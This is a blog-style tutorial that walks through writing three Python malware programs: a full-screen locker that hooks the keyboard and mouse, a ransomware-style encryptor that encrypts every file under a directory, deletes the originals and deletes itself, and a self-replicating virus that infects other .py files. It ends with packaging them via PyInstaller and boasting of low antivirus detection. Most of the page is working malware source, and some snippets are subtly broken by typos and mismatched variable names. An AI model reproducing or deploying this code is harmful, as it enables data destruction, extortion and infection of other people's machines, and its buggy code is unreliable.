How to write an encryption script in Python easy tutorial

How to write an encryption script in Python

1 Shares
1
0
0

Why would anyone want to write malware in Python? We will do it in order to learn the general principles of malware development and at the same time you will practice using this language and you will be able to use what you have learned for other purposes. Besides, Python malware can still be found in the wild and not all anti-viruses pay attention to it. 

Python is most often used to create backdoors in software to download and execute any code on an infected machine. For example, in 2017 Dr.Web employees detected Python.BackDoor.33, and on May 8, 2019 Mac.BackDoor.Siggen.20 was spotted. Another Trojan – RAT Python stole user data from infected devices and used Telegram as a data transmission channel.

We will create three demonstration programs: a locker that will block access to the computer until the user enters the correct password, an encryptor that will bypass directories and encrypt all the files in them, and a virus that will spread its code by infecting other Python programs.

How to write a locker, cryptographer and virus in Python

Despite the fact that our creations do not claim to be of any high technical level, they can be dangerous under certain conditions. So I warn you that disturbing someone else’s computer and destroying information may be severely penalized. Let’s agree at once: you will launch all that we describe here only on your computer and even carefully – not to encrypt all your disk accidentally.

All information is provided for information purposes only. Neither the author nor the editors are responsible for any possible harm caused by the materials in this article.

Setting up the environment

So, the first thing we need, of course, is Python itself, and version 3. I won’t describe in detail how to install it and send you right away to download the free book “Python Bite” (PDF). In it you will find the answer to this and many other Python-related questions.

In addition, let’s install a few modules that we will use:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

At this point we are done with the preparatory stage, we can start writing the code.

Creating a locker

The idea is to create a full screen window and not let the user close it.

Import libraries:

pyautogui
from tkinter import Tk, Entry, Label
from pyautogu coi import click, moveTo
from time import sleep

Now let’s get to the main part of the program.

# Create a window
root = Tk()
# Turn off the protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get the width and height of the window
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Set window title
root.title('From "hacker" with love')
# Open the window to full screen
root.attributes("-fullscreen", True)
# Create an input box, set its size and location
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Create text captions and set their location
label0 = Label(root, text="╚(-⌂-)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Write password and press Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Turn on continuous window refresh and pause
root.update()
sleep(0.2)
# Click in the center of the window
click(width/2, height/2)
# reset the key
k = False
# Now we continuously check if the correct key is entered
# If entered, call the bully function
while not k:
    on_closing()

Here pyautogui.FAILSAFE = False – protection which is activated when the cursor is moved to the upper left corner of the screen. When it is triggered, the program closes. We don’t need it, so we disable this function.

To make our locker work on any monitor with any resolution, we read the width and height of the screen and use a simple formula to calculate where the cursor will hit, click and so on. In our case, the cursor hits the center of the screen, that is, we divide the width and height by two. We will add sleep so that the user can enter the code to cancel the action.

Now we have not blocked text input, but we can do it and then the user will not get rid of us in any way. To do that we will write some more code. I do not recommend doing it right away. First, let’s configure the program so that it will be disabled when entering the password. But the code to lock the keyboard and mouse looks like this

import pythoncom, pyHook

hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Let’s create a function to enter the key:

def callback(event):
    global k, entry
    if entry.get() == "hacker":
        k = True

It’s simple here. If the key is not the one we set, the program keeps working. If the passwords match, we slow down.

The last function that is needed for the pest window to work:

def on_closing():
    # Click in the center of the screen
    click(width/2, height/2)
    # Move the mouse cursor to the centre of the screen
    moveTo(width/2, height/2)
    # Activate full screen mode
    root.attributes("-fullscreen", True)
    # In an attempt to close a window using the Task Manager, call on_closing
    root.protocol("WM_DELETE_WINDOW", on_closing)
    # Turn on continuous refreshing of the window
    root.update()
    # Add a key combination that will close the program
    root.bind('<Control-KeyPress-c>', callback)

At this point, our improvised locker is ready.

Creating an encryptor

We will write this virus using only one third-party library – pyAesCrypt. The idea is to encrypt all files in the specified directory and all directories below. This is an important restriction that will not break the operating system. Let’s create two files for work – encryptor and decryptor. After work, the executable files will be self-deleted.

First, we ask for the path to the directory to be attacked and the password to encrypt and decrypt it:

direct = input("Write the directory to be attacked: ")
password = input("Enter password: ")

Next, we will generate scripts for encryption and decryption. It looks like this:

with open("Crypt.py", "w") as crypt:
    crypt.write(''
    program text
    ''')

Let’s move on to the files we will use as templates. Let’s start with the encoder. We will need two standard libraries:

import os
import sys

Write an encryption function (all according to pyAesCrypt manual):

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Set password and buffer size
    password = "''+str(password)+''"
    buffer_size = 512*1024
    # Calling the encryption function
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Deleting the source file
    os.remove(file)

The script will insert the password instead of str(password).

Important nuances. We will encrypt and decrypt with a buffer, so we get rid of the file size limitation (at least, we reduce the limitation significantly). The os.remove(file) call is needed to remove the original file, as we copy the file and encrypt the copy. We can configure to copy the file instead of removing it.

Now the function that bypasses folders. There is nothing complicated here either.

def walk(dir):
    # Search all subfolders in the specified folder
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # If it's a file, encrypt it
        if os.path.isfile(path):
            crypt(path)
        # If it's a folder, recursively repeat
        else:
            walk(path)

At the end we will add two more lines. One to start the traversal and one to self-destruct the program.

walk('''+str(direct)+'''')
os.remove(str(sys.argv[0]))

Here again, the desired path will be substituted.

Here’s the whole source code.

import os
import sys

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            crypt(path)
        else:
            walk(path)

walk('''+str(direct)+'''')
print('-' * 80)
os.remove(str(sys.argv[0]))

Now the “mirror” file. If we wrote encrypt in the encryptor, then we write decrypt in the decryptor. There is no sense to repeat the parsing of the same lines, so at once the final variant.

import os
import sys

# Decryption function
def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "''+str(password)+''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

# Directory traversal
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try:
                decrypt(path)
            except Error:
                pass
        else:
            walk(path)

walk('''+str(direct)+'''')
print('-' * 80)
os.remove(str(sys.argv[0]))

The total number of lines is 29, of which three were used for decryption. In case one of the files suddenly turns out to be corrupted and an error occurs, we use exception catching (try…except). That is, if we fail to decrypt a file, we simply skip it.

Creating a virus

The idea here is to create a program that will infect other programs with the specified extension. Unlike real viruses which infect any executable file, ours will only infect other Python programs.

This time we don’t need any third-party libraries, we need only sys and os modules. Plug them in.

import sys
import os

Let’s create three functions: message, parser and infection.

A function that reports an attack:

def code():
    print("Infected")

Let’s call it right away to know that the program has worked:

code(None)

Directory traversal is similar to what we did in Encryptor.

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # If a file is found, check its extension
        if os.path.isfile(path):
            # If the extension is py, call virus
            if (os.path.splitext(path)[1] == ".py"):
                virus(path)
            else:
                pass
        else:
            # If it's a directory, go into it
            walk(path)

In theory, we could poison the source code in other languages in the same way, adding code in those languages to the files with the appropriate extensions. And on Unix-like systems, scripts in Bash, Ruby, Perl and the like can simply be replaced by Python scripts, fixing the path to the interpreter on the first line.

The virus will infect files “down” from the directory where it is located (we get the path by calling os.getcwd()).

At the beginning and at the end of the file write these comments:

# START #
# STOP #

I’ll explain why later.

Next is the function that is responsible for self-replication.

def virus(python):
    begin = "# START #\n"
    end = "# STOP #\n"
    # Read the file to be attacked, let's call it copy
    with open(sys.argv[0], "r") as copy:
        # Creating a flag
        k = 0
        # Create a variable for the virus code and add an empty string
        virus_code = "\n"
        # Go through the infected file line by line
        for lines in copy:
            # If we find the start marker, raise the flag
            if line == begin:
                k = 1
                # Adding a token to the infected code
                virus_code += begin
            # If we got past the beginning but didn't get to the end, copy the line
            elif k == 1 and line != end:
                virus_code += line
            # If you reach the end, add a final marker and exit the loop
            elif line == end:
                virus_code += end
                break
            else:
                pass
    # Read the infected file again
    with open(python, "r") as file:
        # Create a variable for the source code
        original_code = ""
        # Copy the infected code line by line
        for lines in file:
            original_code += line
            # If we find a virus start marker, stop and raise the vir flag
            if line == begin:
                vir = True
                break
            # If there is no marker, lower the vir flag
            else:
                vir = False
    # If the vir flag is omitted, write virus and source code to the file
    if not vir:
        with open(python, "w") as paste:
            paste.write(virus_code + "\n\n" + original_code)
    else:
        pass

Now I think it is clearer why we need “start” and “stop” labels. They mark the beginning and the end of the virus code. First we read the file and go through it line by line. When we hit the start mark, we raise the flag. We add an empty line so that the virus in the source code starts on a new line. We read the file a second time and write the source code line by line. The last step is to write the virus, two indents and the original code. You can make fun of it and write it in some special way, for example, modify all output lines.

Creating an executable file

How to run a virus written in scripting language on the victim machine? There are two ways: either make sure the interpreter is installed, or pack the encryptor we created together with everything we need into a single executable file. This is what the PyInstaller utility does. Here is how to use it.

Installing

pip install PyInstaller

And enter the command

PyInstaller "file_name.py" --onefile --noconsole

Wait a bit, and we have a bunch of files in the folder with the program. You can safely get rid of everything except for the executables, they will be in the dist folder.

It is said that ever since Python malware started appearing, antiviruses have become extremely nervous about PyInstaller, even if it is attached to a perfectly safe program.

I decided to check what VirusTotal had to say about my creations. Here are the reports:

Also you can read about How to use VirusTotal API with python

Virus.exe showed the worst result – either some anti-viruses paid attention to self-replication or simply did not like the name of the file. But as you can see, not all anti-viruses were alerted to the contents of any of these files.

Total

So we wrote three malicious programs: a locker, an encryptor, and a virus, using a scripting language, and packaged them using PyInstaller.

Of course, our virus is not the scariest in the world, and the locker and the encryptor still need to be delivered to the victim machine somehow. That said, none of our programs communicate with the C&C server and I haven’t obfuscated the code at all.

Nevertheless, antivirus detection rates were surprisingly low. It turns out that even the simplest encryption virus can become a threat. So anti-viruses are anti-viruses, but downloading random programs from the Internet and running them without thinking will always be unsafe.

1 Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

You May Also Like